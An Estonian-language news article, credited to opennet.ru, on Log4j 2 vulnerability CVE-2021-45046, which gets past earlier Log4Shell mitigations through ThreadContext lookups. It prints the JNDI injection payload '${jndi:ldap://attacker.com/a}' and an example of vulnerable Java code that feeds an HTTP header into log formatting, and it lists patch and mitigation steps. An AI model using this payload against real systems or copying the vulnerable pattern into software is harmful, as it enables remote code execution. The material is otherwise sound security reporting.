Uus Log4j 2 rĂŒnnakute variant, mis vĂ”imaldab lĂ€bida lisatud kaitse

JNDI substitutsioonide rakenduses Log4j 2 on tuvastatud veel ĂŒks haavatavus (CVE-2021-45046), mis avaldub hoolimata 2.15 vĂ€ljaandes tehtud parandustest ja sĂ”ltumata seade kasutamisest „log4j2.noFormatMsgLookup” kaitseks. Probleem ohustab peamiselt vanemaid Log4j 2 versioone, mis on kaitstud „noFormatMsgLookup” lipuga, kuna see vĂ”imaldab mööda pÀÀseda varasema haavatavuse (Log4Shell, CVE-2021-44228) suhtes, mis vĂ”imaldab teie koodi serveris kĂ€ivitada. Versiooni 2.15 kasutajate jaoks piirdub ekspluateerimine tingimuste loomisega rakenduse kokkujooksmiseks, mis tuleneb ressursside ammendamisest.

Haavatavus avaldub vaid sĂŒsteemides, kus logimist teostatakse kontekstipĂ€ringute (Context Lookup) abil, nagu ${ctx:loginId} vĂ”i MDC-mallid (Thread Context Map), nĂ€iteks %X, %mdc ja %MDC. Ekspluateerimine piirdub tingimuste loomisega, et logisse saaks kirjutada andmeid, mis sisaldavad JNDI asendusi, kui rakenduses kasutatakse kontekstipĂ€ringuid vĂ”i MDC-malle, mis mÀÀravad logisse kirjutamise vormindamise reeglid.

LunaSeci teadlased mĂ€rkisid, et Log4j versioonides alla 2.15 vĂ”ib seda haavatavust kasutada uue rĂŒnnakutee kui Log4Shelli rĂŒnnaku jaoks, mis toob kaasa koodi tĂ€itmise, kui logimise ajal kasutatakse ThreadContexti vĂ€ljendeid, kuhu jĂ”uavad vĂ€lised andmed, sĂ”ltumata „noMsgFormatLookups” lipu aktiveerimisest vĂ”i „%m{nolookups}” mallist.

Uus Log4j 2 rĂŒnnakute variant, mis vĂ”imaldab lĂ€bida lisatud kaitse

Kaitse mööda minek seisneb selles, et selle asemel, et kasutada otsest asendust „${jndi:ldap://attacker.com/a}”, asetatakse see vĂ€ljend lĂ€bi vahemĂ€lu muutuja vÀÀrtuse, mida kasutatakse logisse kirjutamise vormindamise reeglite mÀÀratlemisel. NĂ€iteks, kui logisse kirjutamisel kasutatakse kontekstipĂ€ringut ${ctx:apiversion}, vĂ”ib rĂŒnnak toimuda andmete asendamisega „${jndi:ldap://attacker.com/a}” muutuja apiversion vÀÀrtuses. NĂ€ide haavatavast koodist: appender.console.layout.pattern = ${ctx:apiversion} — %d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L — %m%n @GetMapping("/") public String index(@RequestHeader("X-Api-Version") String apiVersion) { // HTTP pĂ€ise „X-Api-Version” vÀÀrtus edastatakse ThreadContextile ThreadContext.put("apiversion", apiVersion); // Logi vĂ€ljastamisel töödeldakse vĂ€list apiversion'i vÀÀrtust asenduse abil ${ctx:apiversion} logger.info("Received a request for API version"); return "Hello, world!"; }

Log4j 2.15 versioonis saab haavatavust kasutada DoS-rĂŒnnakute teostamiseks, kui ThreadContext'i edastatakse vÀÀrtusi, mis pĂ”hjustavad vormindamisvormingus tsĂŒkli.

Uus Log4j 2 rĂŒnnakute variant, mis vĂ”imaldab lĂ€bida lisatud kaitse

Haavatavuse blokeerimiseks on avaldatud uuendused 2.16 ja 2.12.2. Log4j 2.16 versioonis on lisaks 2.15 versioonis rakendatud parandustele ja JNDI LDAP pĂ€ringute sidumisele «localhostiga» vaikimisi tĂ€ielikult keelatud JNDI funktsionaalsus ja eemaldatud sĂ”numi asendustemplate tugi. Kaitse töö ĂŒmberkerimiseks on soovitatud eemaldada klass JndiLookup classpath'ist (nĂ€iteks «zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class»).

Paranduste ilmumise jĂ€lgimiseks pakettides on vĂ”imalik kĂŒlastada jaotiste lehti (Debian, Ubuntu, RHEL, SUSE, Fedora, Arch) ja Java platvormide tootjate (GitHub, Docker, Oracle, vmWare, Broadcom ja Amazon/AWS, Juniper, VMware, Cisco, IBM, Red Hat, MongoDB, Okta, SolarWinds, Symantec, McAfee, SonicWall, FortiGuard, Ubiquiti, F-Secure jne).

Allikas: opennet.ru

Osta usaldusvÀÀrne hostimine veebilehtede jaoks DDoS-i kaitsega, VPS VDS serverid đŸ”„ Osta usaldusvÀÀrne hostimine veebilehtede jaoks DDoS-i kaitsega, VPS VDS serverid | ProHoster